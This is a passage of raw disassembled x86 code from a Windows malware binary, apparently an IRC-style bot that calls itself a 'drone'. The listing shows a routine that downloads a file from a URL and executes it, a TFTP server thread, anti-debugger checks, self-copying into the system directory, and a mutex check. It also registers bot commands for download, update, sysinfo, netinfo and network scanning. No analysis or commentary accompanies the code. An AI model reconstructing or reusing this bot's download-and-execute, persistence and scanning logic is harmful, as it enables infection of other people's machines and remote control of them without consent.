jnz loc_41B744
push dword_4269E4
call ds:dword_41D224 ; closesocket
cmp byte_433945, bl
jz short loc_41B614
jmp loc_41B60E
; ---------------------------------------------------------------------------
loc_41B698: ; CODE XREF: sub_41B5D2+178j
mov eax, dword_4269E4
mov [esp+158h+var_11C], eax
xor eax, eax
lea edi, [esp+158h+var_148]
stosd
stosd
lea eax, [esp+158h+var_148]
push eax
push ebx
push ebx
lea eax, [esp+164h+var_120]
push eax
push ebx
mov [esp+16Ch+var_120], esi
mov [esp+16Ch+var_148], 5
mov [esp+16Ch+var_144], ebx
call ds:dword_41D258 ; select
test eax, eax
jle short loc_41B744
xor eax, eax
lea edi, [esp+158h+var_134]
stosd
stosd
stosd
stosd
stosd
lea eax, [esp+158h+var_13C]
push eax
lea eax, [esp+15Ch+var_14]
push eax
push ebx
push 14h
lea eax, [esp+168h+var_134]
push eax
push dword_4269E4
mov [esp+170h+var_13C], 10h
call ds:dword_41D25C ; recvfrom
cmp eax, 0FFFFFFFFh
jz short loc_41B744
push [esp+158h+var_134]
inc dword_433948
call ds:dword_41D254 ; htons
cmp ax, si
jnz short loc_41B744
lea eax, [esp+158h+var_138]
push eax
push ebx
lea eax, [esp+160h+var_14]
push eax
push offset sub_41B3D0
push ebx
push ebx
call ds:dword_41D110 ; CreateThread
push 3E8h
call ds:dword_41D0FC ; Sleep
loc_41B744: ; CODE XREF: sub_41B5D2+A7j
; sub_41B5D2+FCj ...
cmp byte_433945, bl
jnz loc_41B698
push dword_4269E4
call ds:dword_41D224 ; closesocket
mov ecx, [esp+158h+var_4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call sub_402710
mov esp, ebp
pop ebp
retn 4
sub_41B5D2 endp
; =============== S U B R O U T I N E =======================================
sub_41B775 proc near ; CODE XREF: sub_401F1C+5Ap
; .text:0041BFB5p
push 4
mov eax, offset __ehhandler$?empty@locale@std@@SA?AV12@XZ
call __EH_prolog3
xor ebx, ebx
cmp byte_433945, bl
jz short loc_41B78F
loc_41B78B: ; CODE XREF: sub_41B775+74j
mov al, 1
jmp short loc_41B7F3
; ---------------------------------------------------------------------------
loc_41B78F: ; CODE XREF: sub_41B775+14j
mov edi, 100h
push edi ; size_t
push ebx ; int
mov esi, offset Filename
push esi ; void *
call _memset
add esp, 0Ch
push edi
push esi
push ebx
call ds:dword_41D0E4 ; GetModuleHandleA
push eax
call ds:dword_41D060 ; GetModuleFileNameA
push 8 ; Size
call ??2@YAPAXI@Z ; operator new(uint)
mov esi, eax
pop ecx
mov [ebp-10h], esi
cmp esi, ebx
mov [ebp-4], ebx
jz short loc_41B7DB
push offset sub_41B5D2
xor ecx, ecx
mov edi, offset aTftpServer ; "TFTP Server"
call sub_4140AB
jmp short loc_41B7DD
; ---------------------------------------------------------------------------
loc_41B7DB: ; CODE XREF: sub_41B775+51j
xor eax, eax
loc_41B7DD: ; CODE XREF: sub_41B775+64j
cmp [eax+4], ebx
jz short loc_41B7EB
mov byte_433945, 1
jmp short loc_41B78B
; ---------------------------------------------------------------------------
loc_41B7EB: ; CODE XREF: sub_41B775+6Bj
mov byte_433945, bl
xor al, al
loc_41B7F3: ; CODE XREF: sub_41B775+18j
call __EH_epilog3
retn
sub_41B775 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B7F9 proc near ; CODE XREF: sub_40177B+6Cp
; sub_4019F3+6Cp ...
var_3DC = dword ptr -3DCh
var_3D8 = byte ptr -3D8h
var_308 = byte ptr -308h
var_307 = byte ptr -307h
Dest = byte ptr -208h
var_207 = byte ptr -207h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 3E0h
mov eax, dword_423064
xor eax, esp
mov [esp+3E0h+var_4], eax
mov eax, [ebp+arg_0]
push ebx
push esi
mov esi, 1FFh
xor ebx, ebx
push esi ; size_t
mov [esp+3ECh+var_3DC], eax
lea eax, [esp+3ECh+var_207]
push ebx ; int
push eax ; void *
mov [esp+3F4h+Dest], bl
call _memset
add esp, 0Ch
push 0FFh ; size_t
lea eax, [esp+3ECh+var_307]
push ebx ; int
push eax ; void *
mov [esp+3F4h+var_308], bl
call _memset
add esp, 0Ch
lea eax, [esp+3E8h+var_3D8]
call sub_4143A0
push [esp+3E8h+var_3DC]
lea eax, [esp+3ECh+Dest]
push offset aS_16 ; "%s"
push esi ; Count
push eax ; Dest
call __snprintf
lea eax, [esp+3F8h+Dest]
add esp, 10h
lea esi, [eax+1]
loc_41B886: ; CODE XREF: sub_41B7F9+92j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_41B886
lea ecx, [esp+3E8h+var_3D8]
push ecx
sub eax, esi
push eax
lea ecx, [esp+3F0h+Dest]
call sub_416C60
push 200h ; size_t
lea eax, [esp+3F4h+Dest]
push ebx ; int
push eax ; void *
call _memset
lea eax, [esp+3FCh+var_308]
add esp, 14h
push eax
lea ebx, [esp+3ECh+var_3D8]
call sub_416AE0
pop ecx
push 0C0h ; size_t
push 0 ; int
push edi ; void *
call _memset
add esp, 0Ch
xor esi, esi
loc_41B8DB: ; CODE XREF: sub_41B7F9+114j
movzx eax, [esp+esi+3E8h+var_308]
push eax
push edi
push offset aSX ; "%s%X"
push 0BFh ; Count
push edi ; Dest
call __snprintf
mov eax, edi
add esp, 14h
lea ecx, [eax+1]
loc_41B8FD: ; CODE XREF: sub_41B7F9+109j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41B8FD
sub eax, ecx
inc esi
cmp esi, 40h
mov [eax+edi], dl
jl short loc_41B8DB
mov ecx, [esp+3E8h+var_4]
pop esi
pop ebx
xor ecx, esp
mov eax, edi
call sub_402710
mov esp, ebp
pop ebp
retn
sub_41B7F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B925 proc near ; DATA XREF: sub_40177B+234o
; sub_4019F3+1E6o
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_73C = byte ptr -73Ch
var_738 = dword ptr -738h
var_638 = byte ptr -638h
Args = byte ptr -615h
Format = byte ptr -515h
var_415 = byte ptr -415h
var_414 = byte ptr -414h
var_413 = byte ptr -413h
var_408 = byte ptr -408h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 754h
mov eax, dword_423064
xor eax, esp
mov [esp+754h+var_4], eax
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov ecx, 0C9h
lea edi, [esp+760h+var_738]
rep movsd
xor ebx, ebx
push ebx
push ebx
push ebx
movsw
push ebx
push offset aMozilla5_0 ; "Mozilla/5.0"
movsb
call ds:dword_41D21C ; InternetOpenA
mov esi, eax
lea eax, [esp+760h+Format]
push eax
lea eax, [esp+764h+Args]
push eax ; Args
push offset aDlDownloadingS ; "DL: Downloading %s to %s"
lea eax, [esp+76Ch+var_738]
push eax ; int
push dword ptr [esp+770h+var_413] ; char
mov edi, offset dword_4269BC
push edi ; int
call sub_417361
add esp, 18h
push ebx
push ebx
push ebx
push ebx
lea eax, [esp+770h+Args]
push eax
push esi
call ds:dword_41D218 ; InternetOpenUrlA
cmp esi, ebx
mov [esp+760h+var_744], eax
jz loc_41BB44
cmp eax, ebx
jz loc_41BB3D
push ebx
push ebx
push 2
push ebx
push ebx
push 40000000h
lea eax, [esp+778h+Format]
push eax
call ds:dword_41D06C ; CreateFileA
mov [esp+760h+var_748], eax
call ds:dword_41D108 ; GetTickCount
mov [esp+760h+var_740], eax
mov [esp+760h+var_750], ebx
mov esi, 400h
loc_41B9EC: ; CODE XREF: sub_41B925+11Fj
push esi ; size_t
lea eax, [esp+764h+var_408]
push ebx ; int
push eax ; void *
call _memset
add esp, 0Ch
lea eax, [esp+760h+var_74C]
push eax
push esi
lea eax, [esp+768h+var_408]
push eax
push [esp+76Ch+var_744]
call ds:dword_41D214 ; InternetReadFile
push ebx
lea eax, [esp+764h+var_73C]
push eax
push [esp+768h+var_74C]
lea eax, [esp+76Ch+var_408]
push eax
push [esp+770h+var_748]
call ds:dword_41D088 ; WriteFile
test eax, eax
jz loc_41BAEF
mov eax, [esp+760h+var_74C]
add [esp+760h+var_750], eax
cmp eax, ebx
ja short loc_41B9EC
call ds:dword_41D108 ; GetTickCount
sub eax, [esp+760h+var_740]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ecx, eax
cmp ecx, ebx
jnz short loc_41BA62
xor ecx, ecx
inc ecx
loc_41BA62: ; CODE XREF: sub_41B925+138j
mov eax, [esp+760h+var_750]
xor edx, edx
div ecx
shr eax, 0Ah
push eax
push ecx
push [esp+768h+var_750]
lea eax, [esp+76Ch+Format]
push eax ; Args
push offset aDlDownloadSIBy ; "DL: Download %s (%i Bytes) finished in "...
lea eax, [esp+774h+var_738]
push eax ; int
push dword ptr [esp+778h+var_413] ; char
push edi ; int
call sub_417361
add esp, 20h
push [esp+760h+var_748]
call ds:dword_41D0DC ; CloseHandle
cmp [esp+760h+var_415], 1
jnz loc_41BB5E
cmp [esp+760h+var_414], bl
lea eax, [esp+760h+Format]
jz short loc_41BAFD
push eax ; Format
call sub_419219
test al, al
pop ecx
lea eax, [esp+760h+var_738]
jz short loc_41BAF6
push offset aMainUninstalli ; "Main: Uninstalling Drone"
push eax ; int
push dword ptr [esp+768h+var_413] ; char
push edi ; int
call sub_417361
add esp, 10h
lea eax, [esp+760h+var_638]
push eax
call sub_419477 ; IsDebuggerPresent
loc_41BAEF: ; CODE XREF: sub_41B925+10Fj
push offset aDlFailedBadLoc ; "DL: Failed; Bad Location."
jmp short loc_41BB49
; ---------------------------------------------------------------------------
loc_41BAF6: ; CODE XREF: sub_41B925+1A5j
push offset aDlFailedToUpda ; "DL: Failed To Update"
jmp short loc_41BB4D
; ---------------------------------------------------------------------------
loc_41BAFD: ; CODE XREF: sub_41B925+196j
push 5
push ebx
push ebx
push eax
push offset byte_41EF0F
push ebx
call ds:dword_41D1E4
test eax, eax
jnz short loc_41BB19
push offset aDlErrorExecuti ; "DL: Error Executing File."
jmp short loc_41BB49
; ---------------------------------------------------------------------------
loc_41BB19: ; CODE XREF: sub_41B925+1EBj
lea eax, [esp+760h+Format]
push eax ; Args
push offset aDlExecutedFile ; "DL: Executed File: %s"
lea eax, [esp+768h+var_738]
push eax ; int
push dword ptr [esp+76Ch+var_413] ; char
push edi ; int
call sub_417361
add esp, 14h
jmp short loc_41BB5E
; ---------------------------------------------------------------------------
loc_41BB3D: ; CODE XREF: sub_41B925+91j
push offset aDlFailedBadUrl ; "DL: Failed; Bad URL"
jmp short loc_41BB49
; ---------------------------------------------------------------------------
loc_41BB44: ; CODE XREF: sub_41B925+89j
push offset aDlFailedWinine ; "DL: Failed; WinINET Error"
loc_41BB49: ; CODE XREF: sub_41B925+1CFj
; sub_41B925+1F2j ...
lea eax, [esp+764h+var_738]
loc_41BB4D: ; CODE XREF: sub_41B925+1D6j
push eax ; int
push dword ptr [esp+768h+var_413] ; char
push edi ; int
call sub_417361
add esp, 10h
loc_41BB5E: ; CODE XREF: sub_41B925+182j
; sub_41B925+216j
call ds:dword_41D0E0 ; GetCurrentThreadId
push eax
call sub_414042
pop ecx
mov ecx, [esp+760h+var_4]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call sub_402710
mov esp, ebp
pop ebp
retn 4
sub_41B925 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_41BB84(char *Format)
sub_41BB84 proc near ; CODE XREF: sub_41C370+45p
; sub_41C370+61p ...
var_108 = dword ptr -108h
Dest = byte ptr -104h
var_4 = dword ptr -4
Format = dword ptr 8
push ebp
mov ebp, esp
sub esp, 108h
mov eax, dword_423064
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+Format]
push eax ; Format
lea eax, [ebp+Dest]
push 100h ; Count
push eax ; Dest
mov dword ptr [esi], offset off_420A74
mov [ebp+var_108], esi
call __snprintf
mov eax, dword_433C40
add esp, 0Ch
lea edx, [ebp+var_108]
push edx
mov ecx, offset dword_433C3C
push eax
push ecx
call sub_40121E
mov ecx, [ebp+var_4]
xor ecx, ebp
mov eax, esi
call sub_402710
leave
retn 4
sub_41BB84 endp
; ---------------------------------------------------------------------------
; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
_WinMain@16: ; CODE XREF: ___tmainCRTStartup+172p
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
sub esp, 724h
mov eax, dword_423064
xor eax, esp
mov [esp+720h], eax
mov eax, [ebp+10h]
push ebx
push esi
push edi
mov [esp+10h], eax
call sub_419677
test al, al
jz short loc_41BC29
loc_41BC10: ; CODE XREF: .text:0041BDA1j
; .text:0041BDCCj ...
mov ecx, [esp+72Ch]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call sub_402710
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_41BC29: ; CODE XREF: .text:0041BC0Ej
call sub_4195EC
test al, al
jnz loc_41C061
call ds:dword_41D090 ; IsDebuggerPresent
test eax, eax
jnz loc_41C061
mov esi, offset aIrn ; "--irn "
lea edi, [esp+248h]
movsd
movsw
movsb
mov edi, 103h
xor ebx, ebx
push edi
lea eax, [esp+625h]
push ebx
push eax
mov [esp+62Ch], bl
call _memset
add esp, 0Ch
push edi
lea eax, [esp+415h]
push ebx
push eax
mov [esp+41Ch], bl
call _memset
add esp, 0Ch
push edi
lea eax, [esp+30Dh]
push ebx
push eax
mov [esp+314h], bl
call _memset
add esp, 0Ch
push 7Fh
lea eax, [esp+28Dh]
push ebx
push eax
mov [esp+294h], bl
call _memset
add esp, 0Ch
push edi
lea eax, [esp+624h]
push eax
call ds:dword_41D0F4 ; GetSystemDirectoryA
push 80h
lea esi, [esp+28Ch]
mov ebx, offset byte_425061
call sub_4196D1
pop ecx
mov eax, esi
push eax
lea eax, [esp+624h]
push eax
push offset aSS ; "%s\\%s"
lea eax, [esp+314h]
push edi
push eax
call __snprintf
lea eax, [esp+31Ch]
add esp, 14h
lea ecx, [eax+1]
loc_41BD11: ; CODE XREF: .text:0041BD16j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_41BD11
sub eax, ecx
xor ebx, ebx
mov [esp+eax+308h], bl
mov esi, 104h
push esi
lea eax, [esp+414h]
push eax
push ebx
call ds:dword_41D0E4 ; GetModuleHandleA
push eax
call ds:dword_41D060 ; GetModuleFileNameA
lea eax, [esp+248h]
lea ecx, [eax+1]
loc_41BD49: ; CODE XREF: .text:0041BD4Ej
mov dl, [eax]
inc eax
cmp dl, bl
jnz short loc_41BD49
sub eax, ecx
push eax
lea eax, [esp+24Ch]
push eax
push dword ptr [esp+18h]
call __strnicmp
add esp, 0Ch
test eax, eax
jz short loc_41BDD1
push esi
lea eax, [esp+30Ch]
push eax
lea eax, [esp+418h]
push eax
call __strnicmp
add esp, 0Ch
test eax, eax
jz short loc_41BDD1
push ebx
lea eax, [esp+30Ch]
push eax
lea eax, [esp+418h]
push eax
call ds:dword_41D080 ; CopyFileA
test eax, eax
jz loc_41BC10
lea eax, [esp+410h]
push eax
lea eax, [esp+24Ch]
push eax
lea eax, [esp+310h]
push eax
push offset aSSS ; "%s %s%s"
call sub_419219
add esp, 10h
jmp loc_41BC10
; ---------------------------------------------------------------------------
loc_41BDD1: ; CODE XREF: .text:0041BD69j
; .text:0041BD86j
lea eax, [esp+248h]
lea edx, [eax+1]
loc_41BDDB: ; CODE XREF: .text:0041BDE0j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_41BDDB
sub eax, edx
push eax
lea eax, [esp+24Ch]
push eax
push dword ptr [esp+18h]
call __strnicmp
add esp, 0Ch
test eax, eax
jnz loc_41BE8C
push esi
lea eax, [esp+30Ch]
push eax
lea eax, [esp+418h]
push eax
call __strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_41BE8C
push edi
lea eax, [esp+51Dh]
push ebx
push eax
mov [esp+524h], bl
call _memset
lea eax, [esp+254h]
add esp, 0Ch
lea edi, [eax+1]
loc_41BE41: ; CODE XREF: .text:0041BE46j
mov cl, [eax]
inc eax
cmp cl, bl
jnz short loc_41BE41
mov ecx, [esp+10h]
sub eax, edi
add eax, ecx
push eax
push offset aS ; "%s"
lea eax, [esp+520h]
push esi
push eax
call __snprintf
add esp, 10h
xor esi, esi
loc_41BE69: ; CODE XREF: .text:0041BE8Aj
lea eax, [esp+518h]
push eax
call ds:dword_41D0D0 ; DeleteFileA
test eax, eax
jnz short loc_41BE8C
push 0C8h
call ds:dword_41D0FC ; Sleep
inc esi
cmp esi, 3
jb short loc_41BE69
loc_41BE8C: ; CODE XREF: .text:0041BDFBj
; .text:0041BE1Cj ...
push 80h
lea eax, [esp+28Ch]
push ebx
push eax
call _memset
add esp, 0Ch
push 37h
lea eax, [esp+255h]
push ebx
push eax
mov [esp+25Ch], bl
call _memset
add esp, 0Ch
push 38h
lea esi, [esp+254h]
mov ebx, offset byte_4250E1
call sub_4196D1
pop ecx
mov eax, esi
push eax
push 1
xor ebx, ebx
push ebx
call ds:dword_41D084 ; CreateMutexA
push 38h
mov esi, eax
lea eax, [esp+254h]
push ebx
push eax
call _memset
add esp, 0Ch
push 1388h
push esi
call ds:dword_41D07C ; WaitForSingleObject
cmp eax, 102h
jnz short loc_41BF0D
push ebx
call ds:dword_41D050 ; ExitProcess
loc_41BF0D: ; CODE XREF: .text:0041BF04j
call sub_416F86
push 8
call ??2@YAPAXI@Z ; operator new(uint)
cmp eax, ebx
pop ecx
jz short loc_41BF31
push offset sub_417119
xor ecx, ecx
mov edi, offset aRm ; "RM"
mov esi, eax
call sub_4140AB
loc_41BF31: ; CODE XREF: .text:0041BF1Cj
lea eax, [esp+20h]
push eax
mov dword ptr [esp+24h], 94h
call ds:dword_41D068 ; GetVersionExA
cmp dword ptr [esp+24h], 4
jz short loc_41BF6A
push 8
call ??2@YAPAXI@Z ; operator new(uint)
cmp eax, ebx
pop ecx
jz short loc_41BF6A
push offset sub_419EA0
xor ecx, ecx
mov edi, offset aBk ; "BK"
mov esi, eax
call sub_4140AB
loc_41BF6A: ; CODE XREF: .text:0041BF49j
; .text:0041BF55j
push 8
mov byte_4269C0, bl
call ??2@YAPAXI@Z ; operator new(uint)
cmp eax, ebx
pop ecx
jz short loc_41BF8F
push offset sub_418301
xor ecx, ecx
mov edi, offset aUnm ; "UNM"
mov esi, eax
call sub_4140AB
loc_41BF8F: ; CODE XREF: .text:0041BF7Aj
lea eax, [esp+0B8h]
push eax
push 202h
call ds:dword_41D274 ; WSAStartup
test eax, eax
jnz loc_41C056
call sub_4192FB
mov byte_433945, bl
call sub_41B775
mov eax, [ebp+8]
mov byte_4268B4, bl
mov dword_4266A4, eax
call sub_418D17
mov eax, dword_433C40
mov eax, [eax]
mov ebx, offset dword_433C3C
mov [esp+14h], eax
mov [esp+10h], ebx
loc_41BFE1: ; CODE XREF: .text:0041C00Cj
cmp dword ptr [esp+10h], 0
mov esi, dword_433C40
jz short loc_41BFF4
cmp [esp+10h], ebx
jz short loc_41BFF9
loc_41BFF4: ; CODE XREF: .text:0041BFECj
call __invalid_parameter_noinfo
loc_41BFF9: ; CODE XREF: .text:0041BFF2j
cmp [esp+14h], esi
jz short loc_41C00E
lea edi, [esp+18h]
lea esi, [esp+10h]
call sub_40168C
jmp short loc_41BFE1
; ---------------------------------------------------------------------------
loc_41C00E: ; CODE XREF: .text:0041BFFDj
mov esi, offset dword_4269BC
loc_41C013: ; CODE XREF: .text:0041C054j
movsx eax, word_424E48
push eax
push offset dword_424C48
mov edx, offset dword_424A48
mov ecx, esi
call sub_41802F
test al, al
jz short loc_41C042
mov byte_4269C0, 1
loc_41C037: ; CODE XREF: .text:0041C040j
mov ecx, esi
call sub_417F01
test al, al
jnz short loc_41C037
loc_41C042: ; CODE XREF: .text:0041C02Ej
push 3A98h
mov byte_4269C0, 0
call ds:dword_41D0FC ; Sleep
jmp short loc_41C013
; ---------------------------------------------------------------------------
loc_41C056: ; CODE XREF: .text:0041BFA4j
call ds:dword_41D244 ; WSACleanup
jmp loc_41BC10
; ---------------------------------------------------------------------------
loc_41C061: ; CODE XREF: .text:0041BC30j
; .text:0041BC3Ej
push offset byte_41EF17
call sub_419477 ; IsDebuggerPresent
; ---------------------------------------------------------------------------
db 5 dup(0CCh)
; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND]
align 10h
__ftol2_sse:
cmp dword_433C7C, 0
jz short __ftol2
; [00000013 BYTES: COLLAPSED FUNCTION __ftol2_pentium4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__ftol2_sse_excpt:
cmp dword_433C7C, 0
jz short __ftol2
sub esp, 4
fnstcw word ptr [esp]
pop eax
and ax, 7Fh
cmp ax, 7Fh
jz short __ftol2_pentium4
; [00000075 BYTES: COLLAPSED FUNCTION __ftol2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_401137
; ---------------------------------------------------------------------------
loc_41C1D3: ; DATA XREF: sub_40267A+2o
; sub_4026B9+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-54h]
xor ecx, eax
call sub_402710
mov eax, offset dword_4212B8
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
__ehhandler$?CallUnexpected@@YAXPBU_s_ESTypeList@@@Z: ; DATA XREF: unknown_libname_101+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_402710
mov eax, offset dword_421658
jmp ___CxxFrameHandler3
; =============== S U B R O U T I N E =======================================
sub_41C209 proc near ; CODE XREF: __callnewh+14p
; DATA XREF: unknown_libname_2+2o
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
lea eax, [edx+0Ch]
mov ecx, [edx-1Ch]
xor ecx, eax
call sub_402710
mov eax, offset dword_421AB8
jmp ___CxxFrameHandler3
sub_41C209 endp
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402CCA
; ---------------------------------------------------------------------------
__ehhandler$?CallUnexpected@@YAXPBU_s_ESTypeList@@@Z_0: ; DATA XREF: sub_401065+2o
; sub_4013E6+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_402710
mov eax, offset dword_421AE8
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp loc_401137
; ---------------------------------------------------------------------------
loc_41C24F: ; DATA XREF: sub_4016BA+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-58h]
xor ecx, eax
call sub_402710
mov eax, offset dword_421B18
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
__unwindfunclet$?empty@locale@std@@SA?AV12@XZ$0:
push dword ptr [ebp-10h]
call j__free
pop ecx
retn
; ---------------------------------------------------------------------------
__ehhandler$?empty@locale@std@@SA?AV12@XZ: ; DATA XREF: sub_41B775+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_402710
mov eax, offset dword_421A00
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
__unwindfunclet$?empty@locale@std@@SA?AV12@XZ$0_0:
push dword ptr [ebp-10h]
call j__free
pop ecx
retn
; ---------------------------------------------------------------------------
__ehhandler$?empty@locale@std@@SA?AV12@XZ_0: ; DATA XREF: sub_418D17+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-14h]
xor ecx, eax
call sub_402710
mov eax, offset dword_421A2C
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_401137
; ---------------------------------------------------------------------------
loc_41C2BC: ; DATA XREF: sub_40121E+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-54h]
xor ecx, eax
call sub_402710
mov eax, offset dword_421B48
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
push dword ptr [ebp-58h]
call j__free
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C2E1: ; DATA XREF: sub_401F1C+2o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-70h]
xor ecx, eax
call sub_402710
mov ecx, [edx-4]
xor ecx, eax
call sub_402710
mov eax, offset dword_421B78
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
push dword ptr [ebp-4BCh]
call j__free
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C313: ; DATA XREF: sub_4019F3+5o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-4C8h]
xor ecx, eax
call sub_402710
mov ecx, [edx-4]
xor ecx, eax
call sub_402710
mov eax, offset dword_421BA8
jmp ___CxxFrameHandler3
; ---------------------------------------------------------------------------
push dword ptr [ebp-4C0h]
call j__free
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C348: ; DATA XREF: sub_40177B+5o
mov edx, [esp+8]
lea eax, [edx+0Ch]
mov ecx, [edx-4C8h]
xor ecx, eax
call sub_402710
mov ecx, [edx-4]
xor ecx, eax
call sub_402710
mov eax, offset dword_421BD8
jmp ___CxxFrameHandler3
; =============== S U B R O U T I N E =======================================
sub_41C370 proc near ; DATA XREF: .rdata:0041D28Co
call sub_401291
and dword_433C44, 0
push offset loc_41C498 ; void (__cdecl *)()
mov dword_433C40, eax
call _atexit
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C38D: ; DATA XREF: .rdata:0041D290o
call sub_40172D
and dword_433C50, 0
push offset sub_41C4E1 ; void (__cdecl *)()
mov dword_433C4C, eax
call _atexit
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41C3AA: ; DATA XREF: .rdata:0041D294o
push esi
push offset aDownload ; "download"
mov esi, offset off_433C58
call sub_41BB84
mov off_433C58, offset off_420AE4
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C3C6: ; DATA XREF: .rdata:0041D298o
push esi
push offset aUpdate ; "update"
mov esi, offset off_433C54
call sub_41BB84
mov off_433C54, offset off_420AEC
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C3E2: ; DATA XREF: .rdata:0041D29Co
push esi
push offset aHttp ; "http"
mov esi, offset off_433C5C
call sub_41BB84
mov off_433C5C, offset off_420B04
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C3FE: ; DATA XREF: .rdata:0041D2A0o
push esi
push offset aSysinfo ; "sysinfo"
mov esi, offset off_433C60
call sub_41BB84
mov off_433C60, offset off_420BC4
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C41A: ; DATA XREF: .rdata:0041D2A4o
push esi
push offset aNetinfo ; "netinfo"
mov esi, offset off_433C64
call sub_41BB84
mov off_433C64, offset off_420BCC
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C436: ; DATA XREF: .rdata:0041D2A8o
mov eax, dword_424644
add eax, 6
mov dword_433C68, eax
retn
; ---------------------------------------------------------------------------
loc_41C444: ; DATA XREF: .rdata:0041D2ACo
push esi
push offset aScan_start ; "scan.start"
mov esi, offset off_433C74
call sub_41BB84
mov off_433C74, offset off_420D1C
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C460: ; DATA XREF: .rdata:0041D2B0o
push esi
push offset aScan_stop ; "scan.stop"
mov esi, offset off_433C6C
call sub_41BB84
mov off_433C6C, offset off_420D24
pop esi
retn
; ---------------------------------------------------------------------------
loc_41C47C: ; DATA XREF: .rdata:0041D2B4o
push esi
push offset aScan_stats ; "scan.stats"
mov esi, offset off_433C70
call sub_41BB84
mov off_433C70, offset off_420D2C
pop esi
retn
; ---------------------------------------------------------------------------
; void __cdecl loc_41C498()
loc_41C498: ; DATA XREF: sub_41C370+Co
mov eax, dword_433C40
mov ecx, [eax]
mov [eax], eax
mov eax, dword_433C40
mov [eax+4], eax
and dword_433C44, 0
cmp ecx, dword_433C40
jz short loc_41C4CD
push esi
loc_41C4B9: ; CODE XREF: sub_41C370+15Aj
mov esi, [ecx]
push ecx ; Memory
call j__free
cmp esi, dword_433C40
pop ecx
mov ecx, esi
jnz short loc_41C4B9
pop esi
loc_41C4CD: ; CODE XREF: sub_41C370+146j
push dword_433C40 ; Memory
call j__free
and dword_433C40, 0
pop ecx
retn
sub_41C370 endp
; =============== S U B R O U T I N E =======================================
; void __cdecl sub_41C4E1()
sub_41C4E1 proc near ; DATA XREF: sub_41C370+29o
mov eax, dword_433C4C
mov ecx, [eax]
mov [eax], eax
mov eax, dword_433C4C
mov [eax+4], eax
and dword_433C50, 0
cmp ecx, dword_433C4C
jz short loc_41C516
push esi
loc_41C502: ; CODE XREF: sub_41C4E1+32j
mov esi, [ecx]
push ecx ; Memory
call j__free
cmp esi, dword_433C4C
pop ecx
mov ecx, esi
jnz short loc_41C502
pop esi
loc_41C516: ; CODE XREF: sub_41C4E1+1Ej
push dword_433C4C ; Memory
call j__free
and dword_433C4C, 0
pop ecx
retn
sub_41C4E1 endp
; =============== S U B R O U T I N E =======================================
; void __cdecl sub_41C52A()
sub_41C52A proc near ; DATA XREF: operator new(uint)+40o
mov dword_425A84, offset off_41D314
mov ecx, offset dword_425A84
jmp sub_402CCA
sub_41C52A endp
_text ends
; Section 2. (virtual address 0001D000)
; Virtual size : 00005852 ( 22610.)
; Section size in file : 00005852 ( 22610.)
; Offset to raw data for section: 0001D000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
